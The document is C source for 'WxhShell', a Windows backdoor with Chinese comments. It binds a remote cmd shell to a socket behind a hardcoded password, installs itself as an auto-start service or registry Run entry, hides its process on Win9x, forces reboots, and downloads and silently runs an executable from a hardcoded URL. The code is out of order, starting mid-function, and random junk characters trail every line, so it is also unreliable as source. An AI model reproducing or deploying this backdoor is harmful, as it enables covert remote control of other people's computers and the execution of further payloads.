    if(Boot(SHUTDOWN)) 3.dUMJ$_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jZ{S{"j  
    else { #JLDj(a?  
    closesocket(wsh); 9C4l@ jrF  
    ExitThread(0); r 2   
    } ^c(PZ,/#JB  
    break; G0(c@FBK  
    } ka>RAr J  
  // 获取shell KT g$^"\  
  case 's': { /p%K[)T(  
    CmdShell(wsh); ~hxB Pn."  
    closesocket(wsh); %MjPQ  
    ExitThread(0); yh0|f94m  
    break; %*19S.=l  
  } }zobIfIF  
  // 退出 &J~S  $  
  case 'x': { %~W}262  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?&GMp[  
    CloseIt(wsh); f^%E]ki  
    break; y1 }d(%  
    } 3tm z2JIb  
  // 离开 ;Q"F@v}18  
  case 'q': { (%P* rl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `riv`+J{s  
    closesocket(wsh); @Op8^8$`  
    WSACleanup(); l =_@<p  
    exit(1); 0zTv'L  
    break; <7jb4n<  
        } yav)mO~QU6  
  } c^6`"\X^g  
  } iZSSd{jO  
XsG]-Cw  
  // 提示信息 0}^-, Q,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DS$ _"'g%i  
} Fhsmpe~  
  } yCkm|  
|v1 K@  
  return; fN4p G*D  
} e N-{  
vXnpx}B  
// shell模块句柄 {tT`It  
int CmdShell(SOCKET sock) ~NcJLU!au  
{ NuooA  
STARTUPINFO si; c df ll+  
ZeroMemory(&si,sizeof(si)); xBZ9|2Y s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kCC9U_dj,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v|/3Mi9mz  
PROCESS_INFORMATION ProcessInfo; xXx`a\i  
char cmdline[]="cmd"; h#n8mtt&i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;OPCBdr  
  return 0; Z*TW;h0ZQ3  
} _kx  
EU@mrm?  
// 自身启动模式 <zf+Ii1:,  
int StartFromService(void) Gzir>'d2'V  
{ bMUIe\/v[  
typedef struct  vV[dJ%  
{ 5"gRz9Ta`  
  DWORD ExitStatus; ATzNV=2s  
  DWORD PebBaseAddress; ZKR z=(  
  DWORD AffinityMask; (k5DbP[  
  DWORD BasePriority; wr$}AX  
  ULONG UniqueProcessId;  g_>ZE  
  ULONG InheritedFromUniqueProcessId; -oZ a c  
}   PROCESS_BASIC_INFORMATION; wqwJpWIe  
t@u\ 4bv  
PROCNTQSIP NtQueryInformationProcess; cV{ZD q  
`HM3YC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pNqf2CnnT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  ft'iv  
,SyUr/D  
  HANDLE             hProcess; !U#++Zig%  
  PROCESS_BASIC_INFORMATION pbi; x7@WWFF>  
r~}}o o4K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ) *A,L%  
  if(NULL == hInst ) return 0; '<0q"juXE  
 q%k+x)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )a^Yor)o"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uTU4Fn\$L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @*DIB+K  
p-pw*wH0  
  if (!NtQueryInformationProcess) return 0; b66X])+4jE  
pq[mM!;#v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w}.'Tebu  
  if(!hProcess) return 0; [Kj:~~`T   
4{DeF@@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jOb[h=B"  
nP3GI:mjL  
  CloseHandle(hProcess); YSV,q@I&1  
?&"^\p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); } x.)gW  
if(hProcess==NULL) return 0; aVP|:OAj  
q`aY.dD=O  
HMODULE hMod; y@M}T{,/  
char procName[255]; 3\KII9  
unsigned long cbNeeded; >-w=7,?'?z  
BJ9sR.yX62  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h6h1.lZ  
u3wC}Zo  
  CloseHandle(hProcess); ;-?ZI$  
r}\h\ {  
if(strstr(procName,"services")) return 1; // 以服务启动 Is@a,k  
&'7"i~pC  
  return 0; // 注册表启动 ~+#--BhV  
} ?*'$(}r3  
uit-Q5@~  
// 主模块 UNQRtR/  
int StartWxhshell(LPSTR lpCmdLine) 4*vas]  
{ be:phS4vz  
  SOCKET wsl; -L9R&r#_e  
BOOL val=TRUE; 8'lhp2#h  
  int port=0; <KwK tgzs  
  struct sockaddr_in door; Uk:.2%S2  
cU*lB!  
  if(wscfg.ws_autoins) Install(); H\I!J@6g  
#Q3PzDfj  
port=atoi(lpCmdLine); RW 7oL:$dt  
c[ ony:6  
if(port<=0) port=wscfg.ws_port; =$8@JF'  
qd+[ShrhqZ  
  WSADATA data; }IN_5o((  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {TncqA  
c,q"}nE8w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0sd-s~;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +V9B  
  door.sin_family = AF_INET; sdf%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *kQCW#y0  
  door.sin_port = htons(port); ~B!O~nvdQ  
z9 w&uZzi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~u0xXfv#  
closesocket(wsl); naI v=  
return 1; .NkAD-k`  
} cH;TnuX  
D4q >R;  
  if(listen(wsl,2) == INVALID_SOCKET) { (kC} ,}  
closesocket(wsl); tQ~<i %;  
return 1; ~g1, !Wl  
} X B*}P  
  Wxhshell(wsl); m*!f%}T  
  WSACleanup(); 4C1FPrh  
k=7Gr;;l=p  
return 0; C,r`I/;  
h4anr7g{  
} EF=dXm/\  
7"q+"0G  
// 以NT服务方式启动 ~*!u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g(<T u^F  
{ k\pDJ7wF^  
DWORD   status = 0; Mi}I0yhVm  
  DWORD   specificError = 0xfffffff; rQEi/  
:wU_-{>>2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *v rW A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !\0F.*   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vWl[l -E  
  serviceStatus.dwWin32ExitCode     = 0; 0zbLc%  
  serviceStatus.dwServiceSpecificExitCode = 0; T;!ukGoFP  
  serviceStatus.dwCheckPoint       = 0; \E@s_fQ]  
  serviceStatus.dwWaitHint       = 0; >{m2E8U0  
iS1Gb$?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  *q*HGW5  
  if (hServiceStatusHandle==0) return; nG"n-$A?<  
!&`}]qQZ  
status = GetLastError(); gcg>Gjp  
  if (status!=NO_ERROR) i_u {5 U;  
{ 's[BK/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \2Og>{"U  
    serviceStatus.dwCheckPoint       = 0; Xlv#=@;O]  
    serviceStatus.dwWaitHint       = 0; -\kXH"%  
    serviceStatus.dwWin32ExitCode     = status; a jQqj.  
    serviceStatus.dwServiceSpecificExitCode = specificError; efjO8J[uk-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Z=Ce!  
    return; 8geek$FY x  
  } YOV :  
{7?9jEj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v**z$5x9  
  serviceStatus.dwCheckPoint       = 0; kG1;]1tT#  
  serviceStatus.dwWaitHint       = 0; b]*X<,p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hr$Sa  
} ?j/kOD0  
u 1ZJHry  
// 处理NT服务事件,比如:启动、停止 mX&xn2}qZ"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hz?!BV0  
{ > z=Ou<,  
switch(fdwControl) Zx+cvQ  
{ rH_Jh}Y  
case SERVICE_CONTROL_STOP: f.oP   
  serviceStatus.dwWin32ExitCode = 0;  {l2N&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f=ac I|w  
  serviceStatus.dwCheckPoint   = 0; TMJ9~"IO  
  serviceStatus.dwWaitHint     = 0; o]Wz6 L  
  { (kIz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pI7Ssvi^  
  } X9fNGM1  
  return; Di*]ab  
case SERVICE_CONTROL_PAUSE: |gnAqkW0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u#`+[AC`  
  break; ljPq2v ]  
case SERVICE_CONTROL_CONTINUE: 1^C|k(t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _>Pk8~m  
  break; iJdP>x  
case SERVICE_CONTROL_INTERROGATE: H9RGU~q4s[  
  break; 3Y z]8`C  
}; 5W+{U8\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +UxI{,L  
} {A|bBg1!  
DVI7]+=nV  
// 标准应用程序主函数 ITyzs4"VV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XHsd-  
{ }^"0T-ua  
:peqr!I+K  
// 获取操作系统版本 naz:A  
OsIsNt=GetOsVer(); 7*i }km  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G0}Dq M Ti  
&p5&=zV}  
  // 从命令行安装 {j?7d; 'j  
  if(strpbrk(lpCmdLine,"iI")) Install(); RqXi1<6j#  
]pnYvXf>!  
  // 下载执行文件 =3*Jj`AV  
if(wscfg.ws_downexe) { |rMq;Rgu?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n)#Lh 7X"  
  WinExec(wscfg.ws_filenam,SW_HIDE); @\)fzubu  
} 9e~WK720=  
R<_?W#$j  
if(!OsIsNt) { M>T[!*nTj  
// 如果时win9x,隐藏进程并且设置为注册表启动 rvic%bsk  
HideProc(); /D[dO6.  
StartWxhshell(lpCmdLine); &5u BNpH  
} Y0@yD#,0~  
else *Bs^NU.  
  if(StartFromService()) ic-IN~J-  
  // 以服务方式启动 P@gt di(Q  
  StartServiceCtrlDispatcher(DispatchTable); Ep mJWbU  
else cC%j!8!  
  // 普通方式启动 R4b-M0H  
  StartWxhshell(lpCmdLine); xO7Yt l  
iK!dr1:wSw  
return 0; KmQ^?Ad- C  
} HT"gT2U+  
xW>ySEf  
lkA^\ +Ct  
Cxm6TO`-;  
=========================================== xuU x4,Z  
S[mM4et|  
gg[ 9u-  
D`VFf\7  
Vclr2]eV4O  
EMlIxpCn:  
" "jR]MZ  
HzvlF0f  
#include <stdio.h> d&jjWlHgEN  
#include <string.h> BwxnDeG)  
#include <windows.h> _A 2Lv]vfV  
#include <winsock2.h> jWvtv ng  
#include <winsvc.h> B'}"AC"  
#include <urlmon.h> +8AvTSgX%  
*Y%Jl o  
#pragma comment (lib, "Ws2_32.lib") n'K6vW3  
#pragma comment (lib, "urlmon.lib") FLZSK:3B]  
J &YQ]l  
#define MAX_USER   100 // 最大客户端连接数 =g~W%})  
#define BUF_SOCK   200 // sock buffer +tt9R_S  
#define KEY_BUFF   255 // 输入 buffer ]p]UTCo!'  
Hx %$ X  
#define REBOOT     0   // 重启 #Fs|f3-@  
#define SHUTDOWN   1   // 关机 & [_ZXVva~  
YT=eVg53  
#define DEF_PORT   5000 // 监听端口 & Kmy}q  
yNa;\UF  
#define REG_LEN     16   // 注册表键长度 ff E#^|  
#define SVC_LEN     80   // NT服务名长度 GK?4@<fY  
.9h)bf+  
// 从dll定义API 5G(E&>~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t> . Fl-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3b!,D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c?K~/bx.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 40#9]=;}  
SEM8`lnu  
// wxhshell配置信息 5HKW"=5Cf  
struct WSCFG { .Evy_o\^  
  int ws_port;         // 监听端口 6~8F!b2  
  char ws_passstr[REG_LEN]; // 口令 %NajFjBI  
  int ws_autoins;       // 安装标记, 1=yes 0=no nt ,7u(  
  char ws_regname[REG_LEN]; // 注册表键名 *1^$.Q&  
  char ws_svcname[REG_LEN]; // 服务名 cp6WMHLj   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >72JV; W]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 30Drrno7Io  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dE5D3ze  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >xg5z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uzBz}<M=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #NNewzC<*  
NfzF.{nh  
}; =o^|bih  
WeMAe w/d  
// default Wxhshell configuration sx 9uV  
struct WSCFG wscfg={DEF_PORT, A:# k  
    "xuhuanlingzhe", DBsDk kB{  
    1, M#,Q ^rH#  
    "Wxhshell", j6g@tx^)'  
    "Wxhshell", Rc[0aj:  
            "WxhShell Service", zY=jXa)K~  
    "Wrsky Windows CmdShell Service", OH6^GPF6  
    "Please Input Your Password: ", &@v<nO-  
  1, t'1Y@e  
  "http://www.wrsky.com/wxhshell.exe", YF[f Z  
  "Wxhshell.exe" 9V 0}d2d  
    }; N|:'XwL  
0CAa^Q^w  
// 消息定义模块 qpp/8M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M\D]ml~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bRo|uJ:d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %Mn.e a  
char *msg_ws_ext="\n\rExit."; 1n=_y o  
char *msg_ws_end="\n\rQuit."; L":bI&V?:  
char *msg_ws_boot="\n\rReboot..."; _P7tnXww  
char *msg_ws_poff="\n\rShutdown..."; x_MJJ(q8g  
char *msg_ws_down="\n\rSave to "; CN&  
*>q/WLR  
char *msg_ws_err="\n\rErr!"; sZhM a>  
char *msg_ws_ok="\n\rOK!"; 'Ot,H_pE  
a|_p,_  
char ExeFile[MAX_PATH]; 9YN?  
int nUser = 0; @jy41eIo  
HANDLE handles[MAX_USER]; K#mOSY;}  
int OsIsNt; \7v)iG|#G&  
Q2|p \rO  
SERVICE_STATUS       serviceStatus; _\8qwDg"#e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aP-<4uGx  
S* R,FKg  
// 函数声明 kH948<fk3  
int Install(void); 9X}I>  
int Uninstall(void); G"dS+,Q  
int DownloadFile(char *sURL, SOCKET wsh); OJO!FH)  
int Boot(int flag); SO f{Hx0C6  
void HideProc(void); GK*v{`  
int GetOsVer(void); y 9l*m~  
int Wxhshell(SOCKET wsl); O4iC]5@  
void TalkWithClient(void *cs); rN/| (@  
int CmdShell(SOCKET sock); :aAEJ  
int StartFromService(void); n,'OiVl[  
int StartWxhshell(LPSTR lpCmdLine); h9s >LY  
FMw&(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '0RwO[A#1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \2C`<h$fN  
/t%u"dP"T~  
// 数据结构和表定义 Iah[j,]r  
SERVICE_TABLE_ENTRY DispatchTable[] = tt_o$D~kg  
{ SA"p\}"  
{wscfg.ws_svcname, NTServiceMain}, <|B1wa:|  
{NULL, NULL} Q \hY7Xq'  
}; s)J(/  
#qBr/+b  
// 自我安装 nY%5cJ`"  
int Install(void) 1bnBji  
{ hT g<*  
  char svExeFile[MAX_PATH]; ,m3e?j@;r  
  HKEY key; PmpNAVE'  
  strcpy(svExeFile,ExeFile); z+{,WHjo  
/ |r'  
// 如果是win9x系统,修改注册表设为自启动 uQ1@b-e`5  
if(!OsIsNt) { o{:xp r=(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b*kfWG-6t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #-VMg+14  
  RegCloseKey(key); u+m,b76  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NpP')m!`}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <UP m=Hb  
  RegCloseKey(key); 7, } $u  
  return 0; ~&dyRt W4  
    } feM6K!fL`  
  } ZP\M9Ja  
} bm~W EX  
else { =wWpP-J&  
{Ro2ouQ!V  
// 如果是NT以上系统,安装为系统服务 1T&Rc4$Sn7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jKIxdY:U  
if (schSCManager!=0) {Azn&|%.t  
{ LpbsYl  
  SC_HANDLE schService = CreateService v X~RP *  
  ( $ ,Ck70_  
  schSCManager,  mEG6  
  wscfg.ws_svcname, ^2D1`,|N  
  wscfg.ws_svcdisp, "ww|&-W9  
  SERVICE_ALL_ACCESS, )-15 N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S0,R_d')  
  SERVICE_AUTO_START, CqMhk  
  SERVICE_ERROR_NORMAL, Cwa^"r3P1  
  svExeFile, (& "su3z  
  NULL, ipnV$!z  
  NULL, HAzBy\M{  
  NULL, |077Sf|  
  NULL, s9;#!7ms  
  NULL 6 gL=u-2  
  ); Rk<@?(l!6x  
  if (schService!=0) E51dV:l  
  { +d}E&=p_  
  CloseServiceHandle(schService); kl!wVLE  
  CloseServiceHandle(schSCManager); p@!nYPr.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z%zj";C G  
  strcat(svExeFile,wscfg.ws_svcname); AN:sQX`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^ 2GHe<Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2,2Z`X  
  RegCloseKey(key); t.8 GT&p  
  return 0; 2"P 99$"  
    } P9Yy9_a|x  
  } 8 ;d$54 b  
  CloseServiceHandle(schSCManager); {'sY|lou  
} N[]Hc  
} j`'`)3f  
T3UMCqc=  
return 1; zLs|tJOVp  
} : JzI>/  
,j;m!V  
// 自我卸载 )UgX3+@  
int Uninstall(void) (s<Dd2&.H  
{ x9/H/'  
  HKEY key; iXu]e;6  
FuG4F  
if(!OsIsNt) { 6*4's5>?D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6=4wp?  
  RegDeleteValue(key,wscfg.ws_regname); El_wdbbT  
  RegCloseKey(key); H&1[n U{?>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hgeg@RP Q  
  RegDeleteValue(key,wscfg.ws_regname); ORGD  
  RegCloseKey(key); >z;[2 n'  
  return 0; +d+@u)6  
  } w\54j)rb  
} P./V6i<:  
} h5%<+D<  
else { +;$oJJ  
O ,rwP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +a&p$\  
if (schSCManager!=0) /kL $4CA  
{ 5$DHn ]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Tus}\0/i>  
  if (schService!=0) |b-9b&  
  { `p;eIt  
  if(DeleteService(schService)!=0) { 0q>P~] Ow  
  CloseServiceHandle(schService); D']ZlB 'K  
  CloseServiceHandle(schSCManager); bwVPtu`  
  return 0; yKYUsp  
  } 5>3}_  
  CloseServiceHandle(schService); F(4?tX T  
  } R1nJUOE4w^  
  CloseServiceHandle(schSCManager); ]{"Br$  
} LmlXMia  
} E$W{8?:{  
Y2xL>F  
return 1; @L.82p{h  
} Um1[sMc{au  
Z3>N<u8)  
// 从指定url下载文件 a#mNE*Dg  
int DownloadFile(char *sURL, SOCKET wsh) h\plQ[T  
{ 8N:owK  
  HRESULT hr; ^~{$wVGa  
char seps[]= "/"; a+hd(JX0~  
char *token; u@ jX+\  
char *file;  `:P  
char myURL[MAX_PATH]; [SJ6@q  
char myFILE[MAX_PATH]; R@Gq)P9?  
5H=ko8fZ=  
strcpy(myURL,sURL); ~/mw x8~  
  token=strtok(myURL,seps); >zDF2Y[  
  while(token!=NULL) h;=6VgXZ  
  { : ^ 8  
    file=token; (`SRJ$~f  
  token=strtok(NULL,seps); qo<&J f  
  } *x)Ozfe  
&/Ro lIHF  
GetCurrentDirectory(MAX_PATH,myFILE); 2X:4CC%5  
strcat(myFILE, "\\"); t){"Tf c:  
strcat(myFILE, file); -(O-%  
  send(wsh,myFILE,strlen(myFILE),0); _qb Ih  
send(wsh,"...",3,0); {Fzs@,|W.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f;}EhG'  
  if(hr==S_OK) !"e5~7  
return 0; \~LQ%OM  
else dt~YW  
return 1; ZeG_en ;  
]skkoM  
} ?"z]A7<Hj  
mxb06u _  
// 系统电源模块 n}s~+USZX  
int Boot(int flag) 3Tn)Z1o  
{ 5 H#W[^s"  
  HANDLE hToken; \rVQQ|l   
  TOKEN_PRIVILEGES tkp; 7' S@3   
=)hVn  
  if(OsIsNt) { p7:{^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AfG/JWSo}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F :6SPY y  
    tkp.PrivilegeCount = 1; =]-j;#'&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6a;v&5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nFe%vu8a  
if(flag==REBOOT) { %,hV[[@.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aR,}W\6M  
  return 0; TYI7<-Mp:[  
}  [ `]4P&  
else { $9S(_xdI&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y?ez9o:/#  
  return 0; Rq[ M29  
} Q,&/V_  
  } e^ lWR]v  
  else { ]v#r4Ert  
if(flag==REBOOT) { c1%H4j4/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CRbdAqofV  
  return 0; fX jG5Tv  
} w '3#&k+  
else { E~LT b) !  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9b?SHzAa  
  return 0; !"+'A)Nve  
} iS5W>1]  
} kD bhu^~B  
{QCf}@_]h  
return 1; d|T!v  
} *6 _tQ9G  
"*,XL uv>  
// win9x进程隐藏模块 QXF aAb=(7  
void HideProc(void) 5=e@d:Sz  
{ h^j?01*Et  
1^i Pji/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M>M`baM1  
  if ( hKernel != NULL ) erVO|<%=R  
  { EC|'l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jv.U Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #z1H8CFL"  
    FreeLibrary(hKernel); )"+(butI&  
  } !?^b[ nC%  
2>*%q%81  
return; e[Abp~@M1  
} Cuc$3l(%  
Agrp(i"\@  
// 获取操作系统版本 kD[ r.Dma  
int GetOsVer(void) nI0[;'Hn,  
{ Tr^nkD{  
  OSVERSIONINFO winfo; k1VT /u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V^Hu3aUx8  
  GetVersionEx(&winfo); =}PdH`S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BcD&sQ2F  
  return 1; #$3yz'"QF  
  else G<M:Ak+~  
  return 0; fvb=#58N_  
} tl'n->G>v  
C{2xHd/*  
// 客户端句柄模块 m!U9m  
int Wxhshell(SOCKET wsl) oA1a/[#  
{ w1;hy"zPsj  
  SOCKET wsh; )G7=G+e;  
  struct sockaddr_in client; :W@#) 1=  
  DWORD myID; Kt0(gQOr0  
?'"X"@r5  
  while(nUser<MAX_USER) 9;xM%  
{ TNJG#8n%Y  
  int nSize=sizeof(client); .k[o$z\EkF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x1 1U@jd+1  
  if(wsh==INVALID_SOCKET) return 1; )*c> |7G  
:a:l j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #Wu*3&a]yU  
if(handles[nUser]==0) Mkq( T[)  
  closesocket(wsh); ~n}k\s~|4  
else +{]xtQB=,{  
  nUser++; H~ u[3LQz  
  } 6=N`wi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ItVugI(^ C  
.CSS}4  
  return 0; Ngg?@pG0y  
} hVUP4 A  
`-3o+ID\  
// 关闭 socket -X+H2G  
void CloseIt(SOCKET wsh) wb Iq&>p  
{ kF>o.uSV  
closesocket(wsh); {)AMwq  
nUser--; 4~U'TE @  
ExitThread(0); jmg!Ml  
} !a$ D4(`v  
mXUYQ 82  
// 客户端请求句柄 -Z-IF#%  
void TalkWithClient(void *cs) ](F#`zUQ  
{ 9_sA&2P{uV  
rxme(9M  
  SOCKET wsh=(SOCKET)cs; MQ)L:R` L  
  char pwd[SVC_LEN]; sdCvG R e  
  char cmd[KEY_BUFF]; P=1I<Pew  
char chr[1]; J9T3nTfL  
int i,j; %6--}bY^  
p\{-t84n  
  while (nUser < MAX_USER) { bqQq=SO  
[yj).*0  
if(wscfg.ws_passstr) { u{z``]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `]P pau  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0P>OJYFr'  
  //ZeroMemory(pwd,KEY_BUFF); +y 87~]]  
      i=0; WL+]4Wiz  
  while(i<SVC_LEN) { L#)(H^[  
8QK5z;E2~  
  // 设置超时 >MJg ,  
  fd_set FdRead; LW:o8ES33  
  struct timeval TimeOut; [31p&FxM  
  FD_ZERO(&FdRead); 4d:{HLX,  
  FD_SET(wsh,&FdRead); s_.]4bl.8  
  TimeOut.tv_sec=8; a?YCn!  
  TimeOut.tv_usec=0; V<HU6w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5PcJZi^.l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tRpEF2  
%zU`XVNN+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =uDgzdDyE  
  pwd=chr[0]; <}6{{&mT4  
  if(chr[0]==0xd || chr[0]==0xa) { Jgu94.;5  
  pwd=0; -CH`>  
  break; n41@iK2l  
  } wW?,;B'74  
  i++; XBQ\_2>  
    } #"fJa:IYG7  
ob_I]~^I?|  
  // 如果是非法用户,关闭 socket fIF<g@s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r}yG0c,  
} %r)avI  
F_uY{bg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3?E8\^N\n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lt$zA%`odc  
\Ep0J $ #o  
while(1) { #}^-C&~  
6mH/ m&  
  ZeroMemory(cmd,KEY_BUFF); 4x%(9_8 {-  
[#YE^[*qK  
      // 自动支持客户端 telnet标准   H&b3{yOa  
  j=0; )rLMIk  
  while(j<KEY_BUFF) { u9=SpgB#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f`>/ H!<2  
  cmd[j]=chr[0]; "!K'A7.^  
  if(chr[0]==0xa || chr[0]==0xd) { |+ge8uu?C  
  cmd[j]=0; drwgjLC+  
  break; 3\;27&~gV  
  } x{ }z ;yG  
  j++; v6\F Q9|t  
    } p1c3Q$>i  
>MJ?g-  
  // 下载文件 KNgH|5Pb  
  if(strstr(cmd,"http://")) { EliTFxp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cc?TSZ8[  
  if(DownloadFile(cmd,wsh)) clI*7j.4E#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g fU-"VpHE  
  else &/.hx(#d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VE2tq k%  
  } 9]$8MY   
  else { C}IbxKl  
n3MWs);5  
    switch(cmd[0]) { ZWV|# c<G  
